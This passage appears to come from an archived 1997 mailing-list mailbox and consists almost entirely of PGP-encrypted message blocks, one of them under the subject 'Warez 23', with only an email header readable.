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
I+mhW+ac+IIikmctpTkb1NBMuyWzIK5DQCM=
=pf+Z
-----END PGP MESSAGE-----




From hg-p at dev.null  Thu Dec 18 01:12:41 1997
From: hg-p at dev.null (Human Gus-Peter)
Date: Thu, 18 Dec 1997 17:12:41 +0800
Subject: Warez 23
Message-ID: <199712180904.BAA16596@toad.com>



-----BEGIN PGP MESSAGE-----
Version: PGP for Business Security 5.5
Comment: "I Broke PGP!"

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
